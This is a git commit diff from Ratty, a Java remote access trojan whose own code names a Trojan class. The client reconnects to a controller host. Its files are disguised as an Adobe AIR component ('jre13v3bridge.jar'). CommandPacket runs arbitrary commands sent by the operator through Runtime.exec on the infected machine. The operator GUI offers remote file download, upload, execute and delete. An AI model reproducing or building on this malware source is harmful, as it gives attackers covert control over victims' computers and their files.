Browse Source

Small changes

Cleanups, fixes
The CommandPacket has no response anymore
master
Sogomn 9 years ago
parent
commit
7c3d7117e1
  1. 15
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 64
      Ratty/src/de/sogomn/rat/packet/CommandPacket.java
  3. 6
      Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
  4. 4
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

15
Ratty/src/de/sogomn/rat/Ratty.java

@ -17,12 +17,15 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty { public final class Ratty {
private static final int DISCONNECT_SLEEP_INTERVAL = 2500;
private static final String FOLDER_NAME = "Adobe" + File.separator + "AIR";
private static final String FILE_NAME = "jre13v3bridge.jar";
public static final String ADDRESS = "localhost"; public static final String ADDRESS = "localhost";
public static final int PORT = 23456; public static final int PORT = 23456;
public static final boolean CLIENT = false; public static final boolean CLIENT = false;
public static final String VERSION = "1.0"; public static final String VERSION = "1.0";
public static final String FOLDER_NAME = "Adobe" + File.separator + "AIR";
public static final String FILE_NAME = "jre13v3bridge.jar";
private Ratty() { private Ratty() {
//... //...
@ -49,7 +52,14 @@ public final class Ratty {
final Trojan trojan = new Trojan(); final Trojan trojan = new Trojan();
if (!newClient.isOpen()) { if (!newClient.isOpen()) {
try {
Thread.sleep(DISCONNECT_SLEEP_INTERVAL);
System.gc();
} catch (final InterruptedException ex) {
ex.printStackTrace();
} finally {
connectToHost(address, port); connectToHost(address, port);
}
return; return;
} }
@ -68,7 +78,6 @@ public final class Ratty {
} }
public static void main(final String[] args) { public static void main(final String[] args) {
//setLookAndFeel();
WebLookAndFeel.install(); WebLookAndFeel.install();
if (CLIENT) { if (CLIENT) {

64
Ratty/src/de/sogomn/rat/packet/CommandPacket.java

@ -1,86 +1,36 @@
package de.sogomn.rat.packet; package de.sogomn.rat.packet;
import java.io.IOException;
import java.io.InputStream;
import javax.swing.JDialog;
import javax.swing.JOptionPane; import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
public final class CommandPacket extends AbstractPingPongPacket {
public final class CommandPacket implements IPacket {
private String command; private String command;
private String output;
public CommandPacket(final String command) { public CommandPacket(final String command) {
this.command = command; this.command = command;
type = REQUEST;
} }
public CommandPacket() { public CommandPacket() {
this(""); this("");
type = DATA;
} }
@Override @Override
protected void sendRequest(final ActiveClient client) {
public void send(final ActiveClient client) {
client.writeUTF(command); client.writeUTF(command);
} }
@Override
protected void sendData(final ActiveClient client) {
client.writeUTF(output);
}
@Override
protected void receiveRequest(final ActiveClient client) {
public void receive(final ActiveClient client) {
command = client.readUTF(); command = client.readUTF();
} }
@Override
protected void receiveData(final ActiveClient client) {
output = client.readUTF();
}
@Override
protected void executeRequest(final ActiveClient client) {
public void execute(final ActiveClient client) {
try { try {
final Process process = Runtime.getRuntime().exec(command);
process.waitFor();
final InputStream in = process.getInputStream();
final byte[] buffer = new byte[in.available()];
in.read(buffer);
output = new String(buffer);
} catch (final IOException | InterruptedException ex) {
output = ex.toString();
}
type = DATA;
client.addPacket(this);
}
@Override
protected void executeData(final ActiveClient client) {
final JOptionPane optionPane = new JOptionPane(output);
final JDialog dialog = optionPane.createDialog(null);
dialog.setModal(false);
dialog.setVisible(true);
Runtime.getRuntime().exec(command);
} catch (final Exception ex) {
ex.printStackTrace();
} }
public String getCommand() {
return command;
}
public String getOutput() {
return output;
} }
public static CommandPacket create() { public static CommandPacket create() {

6
Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@ -44,12 +44,12 @@ public final class FileTreePanel {
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites();
public static final String REQUEST = "Show content";
public static final String REQUEST = "Request content";
public static final String DOWNLOAD = "Download file"; public static final String DOWNLOAD = "Download file";
public static final String UPLOAD = "Upload file";
public static final String UPLOAD = "Upload file here";
public static final String EXECUTE = "Execute file"; public static final String EXECUTE = "Execute file";
public static final String DELETE = "Delete file"; public static final String DELETE = "Delete file";
public static final String NEW_FOLDER = "New folder";
public static final String NEW_FOLDER = "Create new folder here";
public static final String[] COMMANDS = { public static final String[] COMMANDS = {
REQUEST, REQUEST,

4
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -220,17 +220,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
@Override @Override
public void clientDisconnected(final ActiveClient client) { public void clientDisconnected(final ActiveClient client) {
final ServerClient serverClient = getServerClient(client); final ServerClient serverClient = getServerClient(client);
final FileTreePanel treePanel = serverClient.getTreePanel();
final long id = serverClient.id; final long id = serverClient.id;
client.setObserver(null); client.setObserver(null);
client.close(); client.close();
clients.remove(client); clients.remove(client);
treePanel.setVisible(false);
gui.removeTableRow(id); gui.removeTableRow(id);
} }
@Override @Override
public void clientConnected(final ActiveServer server, final ActiveClient client) {
public synchronized void clientConnected(final ActiveServer server, final ActiveClient client) {
final long id = nextId++; final long id = nextId++;
final ServerClient serverClient = new ServerClient(id, client); final ServerClient serverClient = new ServerClient(id, client);
final InformationPacket packet = new InformationPacket(); final InformationPacket packet = new InformationPacket();

Loading…
Cancel
Save